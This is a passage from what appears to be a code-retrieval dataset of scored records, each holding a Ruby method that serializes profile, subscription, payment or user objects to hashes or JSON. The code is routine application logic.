"text": "def metadata\n {\n :user_id => user.id.to_s,\n :user => user.to_s.truncate(500),\n (subscription.subscribable_type.downcase + '_id').to_sym => subscription.subscribable.id.to_s,\n subscription.subscribable_type.downcase.to_sym => subscription.subscribable.to_s\n }\n end",
"title": ""
},
{
"docid": "4432ee898c5622364d4488bb1a959a2d",
"score": "0.58403045",
"text": "def as_json(profile, options = {})\n hash = profile.to_hash.dup\n hash.delete 'DER-Encoded-Profile'\n hash.delete 'ProvisionedDevices' unless options[:devices]\n if options[:certs]\n hash['DeveloperCertificates'] = profile.developer_certificates.map do |cert|\n {\n subject: cert.subject,\n issuer: cert.issuer,\n serial: cert.serial,\n expires: cert.not_after\n }\n end\n else\n hash.delete 'DeveloperCertificates'\n end\n hash\n end",
"title": ""
},
{
"docid": "d9554751c2163ad4aa366b880fd8de0f",
"score": "0.58336806",
"text": "def profile\n render_json 0,\"ok\",current_member.as_profile\n end",
"title": ""
},
{
"docid": "3dd7817f9807d927295dd2b83754df9c",
"score": "0.58282036",
"text": "def to_jaxb_json_hash\n _h = super\n _h['currency'] = currency.to_jaxb_json_hash unless currency.nil?\n _h['comments'] = comments.to_jaxb_json_hash unless comments.nil?\n _h['merchantAccountId'] = merchantAccountId.to_jaxb_json_hash unless merchantAccountId.nil?\n _h['subscriptionId'] = subscriptionId.to_jaxb_json_hash unless subscriptionId.nil?\n _h['subscriptionOrderId'] = subscriptionOrderId.to_jaxb_json_hash unless subscriptionOrderId.nil?\n _h['subscriptionOrderEntryId'] = subscriptionOrderEntryId.to_jaxb_json_hash unless subscriptionOrderEntryId.nil?\n _h['subscriptionProductId'] = subscriptionProductId.to_jaxb_json_hash unless subscriptionProductId.nil?\n _h['subscriptionDescription'] = subscriptionDescription.to_jaxb_json_hash unless subscriptionDescription.nil?\n _h['subscriptionStartDate'] = subscriptionStartDate.to_jaxb_json_hash unless subscriptionStartDate.nil?\n _h['subscriptionEndDate'] = subscriptionEndDate.to_jaxb_json_hash unless subscriptionEndDate.nil?\n _h['subscriptionStatus'] = subscriptionStatus.to_jaxb_json_hash unless subscriptionStatus.nil?\n _h['cancellationPossible'] = cancellationPossible.to_jaxb_json_hash unless cancellationPossible.nil?\n _h['billingFrequency'] = billingFrequency.to_jaxb_json_hash unless billingFrequency.nil?\n _h['contractDuration'] = contractDuration.to_jaxb_json_hash unless contractDuration.nil?\n _h['orderDate'] = orderDate.to_jaxb_json_hash unless orderDate.nil?\n _h['cancelDate'] = cancelDate.to_jaxb_json_hash unless cancelDate.nil?\n _h['subscriptionName'] = subscriptionName.to_jaxb_json_hash unless subscriptionName.nil?\n _h['billingSystemId'] = billingSystemId.to_jaxb_json_hash unless billingSystemId.nil?\n _h['paymentMethod'] = paymentMethod.to_jaxb_json_hash unless paymentMethod.nil?\n _h['autoRenewal'] = autoRenewal.to_jaxb_json_hash unless autoRenewal.nil?\n _h['subscriptionStartDateInReadableFormat'] = subscriptionStartDateInReadableFormat.to_jaxb_json_hash unless subscriptionStartDateInReadableFormat.nil?\n _h['subscriptionEndDateInReadableFormat'] = subscriptionEndDateInReadableFormat.to_jaxb_json_hash unless subscriptionEndDateInReadableFormat.nil?\n return _h\n end",
"title": ""
},
{
"docid": "4c1df30c52c58547d3c8d88684c52e4b",
"score": "0.58241713",
"text": "def hash\n [created, next_subscription_name, next_subscription_description, product, product_rate_plan, invoicing_type, mappings, pricing_behaviour, dry_run].hash\n end",
"title": ""
},
{
"docid": "df9e4553f90256cff468ed5045848f9e",
"score": "0.5823544",
"text": "def in_json\n {\n bio: {\n originatingSourceSystem: SOURCE_SYSTEM,\n permissionType: @permission_type,\n permissionValue: @permission_value,\n sourceDate: @source_date,\n sourceSystemUser: @source_system_user,\n permissionId: @id,\n vet360Id: @vet360_id,\n effectiveStartDate: @effective_start_date,\n effectiveEndDate: @effective_end_date\n }\n }.to_json\n end",
"title": ""
},
{
"docid": "e1fd2b1b982c3dd3c78cb94458717bc4",
"score": "0.5802612",
"text": "def build_profile_hash(co, id=nil)\r\n\tprofile = Hash.new\r\n\tif (id != nil) then profile['id'] = id\r\n\telse profile['status'] = 1 end\r\n\r\n\tprofile['name'] = co['name']\r\n profile['profile_type_id'] = VENDOR_ID\r\n\tprofile['attributes'] = {\r\n\t\t'vendor_name' => co['name'],\r\n 'bitsight_inherited_security_rating' => scale_unit(co['rating'],250,900,10,0,true).round(1).to_s,\r\n 'bitsight_rating' => co['rating'].to_s,\r\n 'bitsight_rating_date' => Date.parse(co['rating_date']).strftime('%m/%d/%Y'),\r\n 'bitsight_guid' => co['guid'],\r\n 'bitsight_full_vendor_risk_assessment_complete' => 'No'\r\n\t\t}\r\n\tprofile\r\nend",
"title": ""
},
{
"docid": "92f88323e9e8a2d17051c106e51f5ec0",
"score": "0.5788067",
"text": "def in_json\n {\n bio: {\n genderIdentity: [\n genderIdentityCode: @code\n ],\n sourceDate: @source_date,\n originatingSourceSystem: SOURCE_SYSTEM,\n sourceSystemUser: @source_system_user\n }\n }.to_json\n end",
"title": ""
},
{
"docid": "679b8ed08cbad5886a6c187d7f244780",
"score": "0.57638353",
"text": "def to_hash\n @hash\n end",
"title": ""
},
{
"docid": "f09fc2af97bbf64aee263d204b9f5ac6",
"score": "0.5708681",
"text": "def hash\n [sub, email, error_details, accounts, name, family_name, given_name, created].hash\n end",
"title": ""
},
{
"docid": "6999332ca9beee63f50a4ff112de4f08",
"score": "0.5676562",
"text": "def to_hash\n {\"registration_ids\" => [self.device.token], \"data\" => self.data}\n end",
"title": ""
},
{
"docid": "7b9bceafdfba084588e04ae8d2d89dc9",
"score": "0.5673602",
"text": "def hash\n [type, page_access_token, app_id, app_secret, account_sid, auth_token, phone_number_sid, token, channel_access_token, encoding_aes_key, from_address, certificate, password, auto_update_badge, server_key, sender_id, consumer_key, consumer_secret, access_token_key, access_token_secret].hash\n end",
"title": ""
},
{
"docid": "e463064d00fae4f4a43fd2525feaf9d4",
"score": "0.5652011",
"text": "def subscription_status\n @json_body['subscription_status']\n end",
"title": ""
},
{
"docid": "e5197569c1ee25b996d1b9b067498485",
"score": "0.5648442",
"text": "def to_jaxb_json_hash\n _h = super\n _h['merchantSubscriptionId'] = merchantSubscriptionId.to_jaxb_json_hash unless merchantSubscriptionId.nil?\n _h['effectiveFrom'] = effectiveFrom.to_jaxb_json_hash unless effectiveFrom.nil?\n return _h\n end",
"title": ""
},
{
"docid": "e071ca26ffbc2ce0cd3d87bb137fbf39",
"score": "0.56472147",
"text": "def to_hash\n\n json = {\n :errorCode => @server_id,\n :transactionReceipt => @api_key\n }\n\n if @message_results.length > 0\n e = Array.new\n @message_results.each do |value|\n e.push(value.to_hash)\n end\n json[:messageResult] = e\n end\n \n json\n end",
"title": ""
},
{
"docid": "2bc46261e2d326348a8446ff220a277d",
"score": "0.56460744",
"text": "def hash\n [account_id, campaign_id, csp_id, reseller_id, status, create_date, auto_renewal, billed_date, brand_id, usecase, sub_usecases, description, embedded_link, embedded_phone, affiliate_marketing, number_pool, age_gated, direct_lending, subscriber_optin, subscriber_optout, subscriber_help, sample1, sample2, sample3, sample4, sample5, message_flow, help_message, reference_id, mock, next_renewal_or_expiration_date].hash\n end",
"title": ""
},
{
"docid": "8fc8d67207cd42059bdf39ac0f0f0af7",
"score": "0.56433475",
"text": "def to_hash\n h = super\n h['uid'] = @uid\n h\n end",
"title": ""
},
{
"docid": "ce81a8ed5b12bbc829508383dec7a441",
"score": "0.56087714",
"text": "def sign_in_json\n {\n id: id.to_s,\n email: email,\n firstname: firstname,\n lastname: lastname,\n schools: schools.map{|s| {id: s.id.to_s, name: s.name}},\n admin: shapter_admin,\n confirmed: confirmed?,\n sign_in_count: sign_in_count,\n }.to_json\n end",
"title": ""
},
{
"docid": "69d4b5311e1a2ac127e7e278edbbd779",
"score": "0.5604456",
"text": "def service_response_data\n {\n user: @user.get_hash\n }\n end",
"title": ""
},
{
"docid": "ad2816f75a6976d0eab1cf40cc7384df",
"score": "0.56010544",
"text": "def json_data\n { id: self.id, membership_id: self.membership_id, amount: self.amount.round(2), paid_by: self.user.full_name, description: self.description, vendor: self.vendor, group_id: self.group.id }\n end",
"title": ""
},
{
"docid": "96666a93c9163aecef29f659c5328307",
"score": "0.5596218",
"text": "def hash\n [account_id, account_name, is_default, base_uri, organization].hash\n end",
"title": ""
},
{
"docid": "394b85e42986f180a752d32aaae96e17",
"score": "0.5594655",
"text": "def to_hash\n @hash\n end",
"title": ""
},
{
"docid": "394b85e42986f180a752d32aaae96e17",
"score": "0.5594655",
"text": "def to_hash\n @hash\n end",
"title": ""
},
{
"docid": "4693a0d48962980f7616291369a445a2",
"score": "0.55857766",
"text": "def hash\n [created, changed_by, updated, id, account_id, subscription_id, invoice_id, from, to, cc, bcc, subject, html, attachment_filename, attachment_html, plain, sent, state, deleted, header_url, salutation, paragraph1, paragraph2, footer_information, signoff, emai_subscription_type, notification_id, organization_id].hash\n end",
"title": ""
},
{
"docid": "9e45f6610540a54d0647be8c892a69b0",
"score": "0.5570038",
"text": "def to_jaxb_json_hash\n _h = super\n _h['merchantSubscriptionId'] = merchantSubscriptionId.to_jaxb_json_hash unless merchantSubscriptionId.nil?\n _h['merchantPaymentMethodId'] = merchantPaymentMethodId.to_jaxb_json_hash unless merchantPaymentMethodId.nil?\n return _h\n end",
"title": ""
},
{
"docid": "4c019e803a10cedb8da89921a5547e57",
"score": "0.55622697",
"text": "def to_hash\n { uid: @uid, address: resource_address() }\n end",
"title": ""
},
{
"docid": "db3e52b316737159d4cea68f941f9e74",
"score": "0.55591154",
"text": "def to_json_redis\r\n JSON.generate({:private_key => @private_key, \r\n :certificate => @certificate, \r\n :create_date => @create_date,\r\n :secure_hash_key => @secure_hash_key,\r\n :status => @status,\r\n :scope => @scope}) \r\n end",
"title": ""
},
{
"docid": "4fcccd0c1526285aa3b39d5866daca1a",
"score": "0.55536866",
"text": "def users_profile\n @usersProfile = User.find(params[:id]).to_json(:include => :user_connections)\n render json: { data: @usersProfile }\n end",
"title": ""
},
{
"docid": "a3173a58c8246335725908775e7462c7",
"score": "0.5547382",
"text": "def init_jaxb_json_hash(_o)\n super _o\n if !_o['profileId'].nil?\n _oa = _o['profileId']\n if(_oa.is_a? Hash)\n @profileId = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @profileId = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @profileId = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @profileId.push String.from_json(_item)\n else\n @profileId.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @profileId = _oa\n end\n end\n if !_o['validationResult'].nil?\n _oa = _o['validationResult']\n if(_oa.is_a? Hash)\n @validationResult = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @validationResult = Com::Hybris::Cis::Api::Subscription::Model::CisSubscriptionTransactionResult.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @validationResult = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @validationResult.push Com::Hybris::Cis::Api::Subscription::Model::CisSubscriptionTransactionResult.from_json(_item)\n else\n @validationResult.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @validationResult = _oa\n end\n end\n if !_o['currency'].nil?\n _oa = _o['currency']\n if(_oa.is_a? Hash)\n @currency = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @currency = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @currency = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @currency.push String.from_json(_item)\n else\n @currency.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @currency = _oa\n end\n end\n if !_o['paymentMethods'].nil?\n _oa = _o['paymentMethods']\n if(_oa.is_a? Hash)\n @paymentMethods = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @paymentMethods = Com::Hybris::Cis::Api::Subscription::Model::CisPaymentMethod.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @paymentMethods = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @paymentMethods.push Com::Hybris::Cis::Api::Subscription::Model::CisPaymentMethod.from_json(_item)\n else\n @paymentMethods.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @paymentMethods = _oa\n end\n end\n if !_o['customerAddress'].nil?\n _oa = _o['customerAddress']\n if(_oa.is_a? Hash)\n @customerAddress = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @customerAddress = Com::Hybris::Cis::Api::Model::CisAddress.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @customerAddress = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @customerAddress.push Com::Hybris::Cis::Api::Model::CisAddress.from_json(_item)\n else\n @customerAddress.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @customerAddress = _oa\n end\n end\n if !_o['comments'].nil?\n _oa = _o['comments']\n if(_oa.is_a? Hash)\n @comments = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @comments = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @comments = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @comments.push String.from_json(_item)\n else\n @comments.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @comments = _oa\n end\n end\n if !_o['subscriptions'].nil?\n _oa = _o['subscriptions']\n if(_oa.is_a? Hash)\n @subscriptions = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @subscriptions = Com::Hybris::Cis::Api::Subscription::Model::CisSubscriptionData.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @subscriptions = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @subscriptions.push Com::Hybris::Cis::Api::Subscription::Model::CisSubscriptionData.from_json(_item)\n else\n @subscriptions.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @subscriptions = _oa\n end\n end\n end",
"title": ""
},
{
"docid": "0d41d8d9ab1d15a2cb69611767ec55c6",
"score": "0.55382216",
"text": "def to_hash\n @_hash_\n end",
"title": ""
},
{
"docid": "2a5b0397234d5e97999d971bc3dfb886",
"score": "0.5535199",
"text": "def profile\n p @user.as_json\n render json: @user.as_json\n end",
"title": ""
},
{
"docid": "279bf8a16368ebacddadfe849e1359ee",
"score": "0.55208963",
"text": "def as_json(options={})\n options[:except] ||= EXCLUDED_JSON_ATTRIBUTES\n #options[:include] ||= []\n #options[:methods] = []\n #options[:methods] << :profile_image\n json = super(options)\n Hash[*json.map{|k, v| [k, v || \"\"]}.flatten]\n end",
"title": ""
},
{
"docid": "a1cba56b430af79143609542f3367c6c",
"score": "0.55104196",
"text": "def hash\n [description, routing_number, account_number, account_type, signatory, metadata, id, signature_url, bank_name, verified, date_created, date_modified, deleted, object].hash\n end",
"title": ""
},
{
"docid": "7d582713c33a4f505776ab8b47ed1b7f",
"score": "0.5504072",
"text": "def to_jaxb_json_hash\n _h = super\n _h['merchantSubscriptionId'] = merchantSubscriptionId.to_jaxb_json_hash unless merchantSubscriptionId.nil?\n _h['cancelationMode'] = cancelationMode.to_jaxb_json_hash unless cancelationMode.nil?\n _h['force'] = force.to_jaxb_json_hash unless force.nil?\n return _h\n end",
"title": ""
},
{
"docid": "cd4860da487a2751e1965ff71c76e02f",
"score": "0.5490889",
"text": "def hash\n [id, next_send, rrule, session, last_sent, contact_name, parameters, type, summary, text_parameters, first_occurrence, last_occurrence, recipients_count, timezone, completed, avatar, created_at].hash\n end",
"title": ""
},
{
"docid": "78e11a2a82cf31eea1575e69ea8ac41a",
"score": "0.54775083",
"text": "def to_json\n\t\t\tself.instance_variable_hash\n\t\tend",
"title": ""
},
{
"docid": "8d2da4fad4ef3b12d7051722192faa62",
"score": "0.5469369",
"text": "def hash\n [account_id, product, product_rate_plan, organization_id, name, description, start, _end, state, trial_end, type, parent_id, aggregate_all_subscriptions_on_account, align_period_with_aggregating_subscription, pricing_component_quantities, metadata, payment_terms, purchase_order, contract_start, failed_payment_behaviour, prepayment_amount].hash\n end",
"title": ""
},
{
"docid": "e4d0ecceaee0b1d6510d884ed093eb31",
"score": "0.5446641",
"text": "def to_jaxb_json_hash\n _h = {}\n _h['subscriptionTerm'] = subscriptionTerm.to_jaxb_json_hash unless subscriptionTerm.nil?\n _h['vendorParameters'] = vendorParameters.to_jaxb_json_hash unless vendorParameters.nil?\n _h['name'] = name.to_jaxb_json_hash unless name.nil?\n _h['subscriptionPlan'] = subscriptionPlan.to_jaxb_json_hash unless subscriptionPlan.nil?\n _h['id'] = id.to_jaxb_json_hash unless id.nil?\n _h['code'] = code.to_jaxb_json_hash unless code.nil?\n return _h\n end",
"title": ""
},
{
"docid": "87194b69e315675d894dda3eb9f13e87",
"score": "0.5445019",
"text": "def current_profile\n @profile ||= JSON.parse($redis.get(\"profile\"))\n end",
"title": ""
},
{
"docid": "208720ff133829fd98a4260364882949",
"score": "0.54391134",
"text": "def hash\n [account_id, cms_user_id, company, created_at, dept, email, first_name, group_ids, host_key, id, im_group_ids, jid, job_title, language, last_client_version, last_login_time, last_name, location, personal_meeting_url, phone_country, phone_number, pic_url, pmi, role_name, status, timezone, type, use_pmi, vanity_url, verified].hash\n end",
"title": ""
},
{
"docid": "0beb70e8d39b2c858a4cd5cc88d9b06a",
"score": "0.54377323",
"text": "def show\n json_response(@user_subscription)\n end",
"title": ""
},
{
"docid": "5ee872fe70167bfdbcaa20e3e78414a8",
"score": "0.53906536",
"text": "def as_confirmation_json\n { pid: pid }\n end",
"title": ""
},
{
"docid": "511954bf7c6dd76207a0a3a64eaa9989",
"score": "0.5388957",
"text": "def get_profile_information\n # body = {\n # cmd: \"get_profile_information\"\n # }\n\n end",
"title": ""
},
{
"docid": "c56cffe86b86fd6acd30a4f0f386a938",
"score": "0.5383825",
"text": "def to_hash\n {:job_id => @job_id, :callback_url => @callback_url} \n end",
"title": ""
},
{
"docid": "a436ce41d3d5268a55ec1c181a8a834b",
"score": "0.53798854",
"text": "def to_hash\n @summaries\n end",
"title": ""
},
{
"docid": "296a35b06c40622d49f755933686c8ae",
"score": "0.5379575",
"text": "def customer_mailchimp_profile_updated\n {\n :list_id => data['list_id'],\n :fired_at => params['fired_at'],\n :mailchimp_id => data['id'],\n :email => data['email'],\n :email_type => data['email_type'],\n :merges => data['merges'],\n :ip_opt => params['ip_opt'],\n :human => \"#{data['email']} updated Mailchimp profile information.\"\n }\n end",
"title": ""
},
{
"docid": "56593ad992d9b911fd2f4b0d8ba02d60",
"score": "0.53725207",
"text": "def show\n @profile = Profile.find(params[:id])\n render json: @profile.to_json(include_hash)\n end",
"title": ""
},
{
"docid": "13073dd1027c6f0345dfd99a9bbfeecc",
"score": "0.53635377",
"text": "def to_jaxb_json_hash\n _h = super\n _h['parameters'] = parameters.to_jaxb_json_hash unless parameters.nil?\n _h['merchantAccountId'] = merchantAccountId.to_jaxb_json_hash unless merchantAccountId.nil?\n _h['subscriptionOrder'] = subscriptionOrder.to_jaxb_json_hash unless subscriptionOrder.nil?\n _h['merchantPaymentMethodId'] = merchantPaymentMethodId.to_jaxb_json_hash unless merchantPaymentMethodId.nil?\n _h['currency'] = currency.to_jaxb_json_hash unless currency.nil?\n return _h\n end",
"title": ""
},
{
"docid": "087d6ecf480255f8631723c609e8cca5",
"score": "0.5363114",
"text": "def in_json\n {\n bio: {\n addressId: @id,\n addressLine1: @address_line1,\n addressLine2: @address_line2,\n addressLine3: @address_line3,\n addressPOU: @address_pou,\n addressType: @address_type,\n cityName: @city,\n countryCodeISO2: @country_code_iso2,\n countryCodeISO3: @country_code_iso3,\n countryName: @country_name,\n county: {\n countyCode: @county_code,\n countyName: @county_name\n },\n intPostalCode: @international_postal_code,\n provinceName: @province,\n stateCode: @state_code,\n zipCode4: @zip_code,\n zipCode5: @zip_code_suffix,\n originatingSourceSystem: SOURCE_SYSTEM,\n sourceSystemUser: @source_system_user,\n sourceDate: @source_date,\n vet360Id: @vet360_id,\n effectiveStartDate: @effective_start_date,\n effectiveEndDate: @effective_end_date\n }\n }.to_json\n end",
"title": ""
},
{
"docid": "40170406be06a10769db043a8e7bac63",
"score": "0.53568655",
"text": "def hash\n data.hash\n end",
"title": ""
},
{
"docid": "c91bbf8a578d300578fd8205fcfbda67",
"score": "0.53545225",
"text": "def to_s\n '#<Twilio.Oauth.V1.UserInfoList>'\n end",
"title": ""
},
{
"docid": "81d7b1300734ea62c374865317a2a1ed",
"score": "0.53502923",
"text": "def hash\n \"#{self.class.name}-#{self.id}-#{@__metadata__.cas}-#{@__attributes__.hash}\".hash\n end",
"title": ""
},
{
"docid": "6436d7167efa479b97762fd8c1da7432",
"score": "0.53360695",
"text": "def json\n JSON.pretty_generate(hash)\n end",
"title": ""
},
{
"docid": "98331b3a2a718f070d3820c48444c7a4",
"score": "0.5333744",
"text": "def to_s\n '#<Twilio.Supersim.V1.EsimProfileList>'\n end",
"title": ""
},
{
"docid": "00755170642a588cfef44e4a79378bda",
"score": "0.5333255",
"text": "def serialize\n JSON.dump(@hash)\n end",
"title": ""
},
{
"docid": "46e367e4c943a74c33a5df88c986350f",
"score": "0.5331668",
"text": "def hash\n [__meta, created_at, updated_at, customer, reusable, status, token].hash\n end",
"title": ""
},
{
"docid": "a3ae164bae2c080d03b7e4c23ea40e14",
"score": "0.53289443",
"text": "def get_customer_profile\n json_response({ message: 'NOT IMPLEMENTED' })\n end",
"title": ""
},
{
"docid": "99337e2146728f093e9e7868deb817ac",
"score": "0.53190625",
"text": "def to_json\n return self.to_hash.to_json\n end",
"title": ""
},
{
"docid": "520d145df9802d265d4a848bf9ab7cb2",
"score": "0.5317802",
"text": "def to_hash\n {\n provider: 'maestrano',\n uid: self.to_uid,\n info: {\n email: self.to_email,\n first_name: self.first_name,\n last_name: self.last_name,\n country: self.country,\n company_name: self.company_name,\n },\n extra: {\n uid: self.uid,\n virtual_uid: self.virtual_uid,\n real_email: self.email,\n virtual_email: self.virtual_email,\n group: {\n uid: self.group_uid,\n name: self.group_name,\n role: self.group_role,\n },\n session: {\n uid: self.uid,\n token: self.sso_session,\n recheck: self.sso_session_recheck,\n group_uid: self.group_uid\n },\n }\n }\n end",
"title": ""
},
{
"docid": "f823d1fbb453cc112c8e24b9e711b729",
"score": "0.53017604",
"text": "def signature\n Digest::SHA256.hexdigest(@hash.to_json)\n end",
"title": ""
},
{
"docid": "d73ec2d15925764e922141210fbd00a7",
"score": "0.530113",
"text": "def serialize\n self.to_hash.to_json\n end",
"title": ""
},
{
"docid": "e00bb669ce47ac055c9daf9b4b0e6774",
"score": "0.5286717",
"text": "def show\t\t\n\t\t# response to the JSON\n\t\trender json: { success: true, response: @profile.as_json },:status=>200\t \n\tend",
"title": ""
},
{
"docid": "1e92ea210abcfaa7b7aaf1ef1a3ce3eb",
"score": "0.52854306",
"text": "def hash\n [account_id, account_service_ids, address, api_key, city, code, country, create_time, created_by_email, created_by_id, delete_time, email, enabled, first_name, id, is_main_user, last_launched_test_time, last_login_time, last_name, main_user_email, main_user_id, mfa_qr_code_url, mfa_status, organization, origin_portal, phone, registration_ip, roles, self_uri, service_ids, state, status, time_zone, vat_id].hash\n end",
"title": ""
},
{
"docid": "0b9ca6cd10fd811c4950a10f3f7ff6df",
"score": "0.527554",
"text": "def as_hash\n @hash\n end",
"title": ""
},
{
"docid": "c47733eecfc097e48548536ce7da60a3",
"score": "0.52684885",
"text": "def to_jaxb_json_hash\n _h = super\n _h['userId'] = userId.to_jaxb_json_hash unless userId.nil?\n _h['username'] = username.to_jaxb_json_hash unless username.nil?\n _h['firstName'] = firstName.to_jaxb_json_hash unless firstName.nil?\n _h['lastName'] = lastName.to_jaxb_json_hash unless lastName.nil?\n _h['password'] = password.to_jaxb_json_hash unless password.nil?\n _h['token'] = token.to_jaxb_json_hash unless token.nil?\n if !addresses.nil?\n _ha = Array.new\n addresses.each { | _item | _ha.push _item.to_jaxb_json_hash }\n _h['addresses'] = _ha\n end\n if !roles.nil?\n _ha = Array.new\n roles.each { | _item | _ha.push _item.to_jaxb_json_hash }\n _h['roles'] = _ha\n end\n _h['country'] = country.to_jaxb_json_hash unless country.nil?\n _h['website'] = website.to_jaxb_json_hash unless website.nil?\n if !phones.nil?\n _ha = Array.new\n phones.each { | _item | _ha.push _item.to_jaxb_json_hash }\n _h['phones'] = _ha\n end\n if !emails.nil?\n _ha = Array.new\n emails.each { | _item | _ha.push _item.to_jaxb_json_hash }\n _h['emails'] = _ha\n end\n _h['showpassword'] = showpassword.to_jaxb_json_hash unless showpassword.nil?\n return _h\n end",
"title": ""
},
{
"docid": "e4f7c34533a2b35cf7ad2e8b216d8167",
"score": "0.5267174",
"text": "def to_json\n\t\t{'card_number' => @card_number, 'card_suit' => @card_suit}.to_json\t\n\tend",
"title": ""
},
{
"docid": "b0f1576eadbbcc5f7cbbc2537d482dda",
"score": "0.52656347",
"text": "def to_vue\n as_json.slice(:username, :email, :verified).to_json\n end",
"title": ""
},
{
"docid": "90489c9987d2bc7dec1dce306e699420",
"score": "0.52585196",
"text": "def as_json(options={})\n #inclusion_list = []\n #options[:include] ||= inclusion_list\n\n exclusion_list = []\n exclusion_list += EXCLUDED_JSON_ATTRIBUTES\n options[:except] ||= exclusion_list\n\n options[:methods] = []\n options[:methods] << :profile_image\n\n super(options)\n end",
"title": ""
},
{
"docid": "aacea7515261102f16a137f6159c2c37",
"score": "0.5257704",
"text": "def hash\n [id, name, address, timezone, capabilities, status, created_at, merchant_id, country, language_code, currency, phone_number, business_name, type, website_url].hash\n end",
"title": ""
},
{
"docid": "7d2c52247ac4c47b0082c67114b6f8dc",
"score": "0.52566147",
"text": "def hash\n [list_id, email, phone, gender, first_name, last_name, is_unsubscribed, is_blacklisted, _custom_attribute_].hash\n end",
"title": ""
},
{
"docid": "dc6df99f4fdfbb29c4d511027bfebaf4",
"score": "0.52555597",
"text": "def hash\n [contact, extensions, external_resources, info, integrations, org, schema_version, tags].hash\n end",
"title": ""
},
{
"docid": "68e588b2742b25098bf1e8871da261ef",
"score": "0.52498555",
"text": "def profile_hash(details, creds)\n params = {}\n params[:api_type] = details[:api_type]\n params[:license_key] = creds[:license_key]\n params[:login_id] = creds[:login_id]\n params[:version] = details[:version]\n params\n end",
"title": ""
},
{
"docid": "14f89f93cc5c67bf41d871e0637a406d",
"score": "0.52483433",
"text": "def profile_details\n # Since 15th September 2016 certificates and devices are hidden behind another request\n # see https://github.com/fastlane/fastlane/issues/6137 for more information\n @profile_details ||= client.provisioning_profile_details(provisioning_profile_id: self.id, mac: mac?)\n end",
"title": ""
},
{
"docid": "a813d184bb6890b10cf301b0a6dac143",
"score": "0.5241785",
"text": "def to_hash\n @data\n end",
"title": ""
},
{
"docid": "9a9f0e3d405d2d9ed8200a1c506cea97",
"score": "0.5240657",
"text": "def to_hash\n {\n :identifier => @identifier,\n :scheme => @scheme\n }\n end",
"title": ""
},
{
"docid": "873f418e1a7fe70b5c37a7a78ffc5de5",
"score": "0.52395266",
"text": "def to_json\n return Json.dump(to_hash)\n end",
"title": ""
},
{
"docid": "3e4c521ff9273c9a3204cf4b55aed60c",
"score": "0.5239136",
"text": "def service_response_data\n\n {\n customer: @customer.get_hash,\n gateway_customer_associations: @gateway_customer_associations.map{|x| x.get_hash}\n }\n\n end",
"title": ""
},
{
"docid": "b432161ee73c56c5f861f6f14d4af43d",
"score": "0.5237482",
"text": "def hash\n [input_currency, payin_methods, metadata, sender, recipients, traits, state, input_amount, payin_reference, paid_amount, due_amount, created_at, expires_at, external_id, id, errors].hash\n end",
"title": ""
},
{
"docid": "cd1c7fa07fe73314bd3e038b7cf992bb",
"score": "0.52347666",
"text": "def identity_publisher_hash\n return @identity_publisher_hash\n end",
"title": ""
},
{
"docid": "1df98de6ff099cf63502a31a2d5b106d",
"score": "0.5233099",
"text": "def hash\n [custom_headers, encode_as, name, payload, url].hash\n end",
"title": ""
},
{
"docid": "4ed4f3f3f0f4f8e2ab42929a930cb6c0",
"score": "0.52324325",
"text": "def to_hash\n hsh = {\n id: id,\n status: status.to_sym,\n connect: running? ? connect.to_h : nil,\n time: info.wallclock_time.to_i / 60 # only update every minute\n }\n Digest::SHA1.hexdigest(hsh.to_json)\n end",
"title": ""
},
{
"docid": "a9e090a8e1120aea2de22b544562daea",
"score": "0.5228157",
"text": "def to_json\n self.to_hash.to_json\n end",
"title": ""
},
{
"docid": "a5a6adbbe7d21364f45f5c75ea9efd33",
"score": "0.52276087",
"text": "def hash\n [id, sender, receiver, text, status, contact_id, session_id, message_time, avatar, deleted, charset, charset_label, first_name, last_name, country, phone, price, parts_count, from_email, from_number].hash\n end",
"title": ""
},
{
"docid": "648ce51406b20d5fadff0812e301d09f",
"score": "0.52212787",
"text": "def hash\n [lac, cid, radio, mcc, mnc, signal, psc, asu, ta].hash\n end",
"title": ""
},
{
"docid": "0ab0392c3ac581bb39b0293d75ab0b33",
"score": "0.5211867",
"text": "def for_json\n to_hash\n end",
"title": ""
},
{
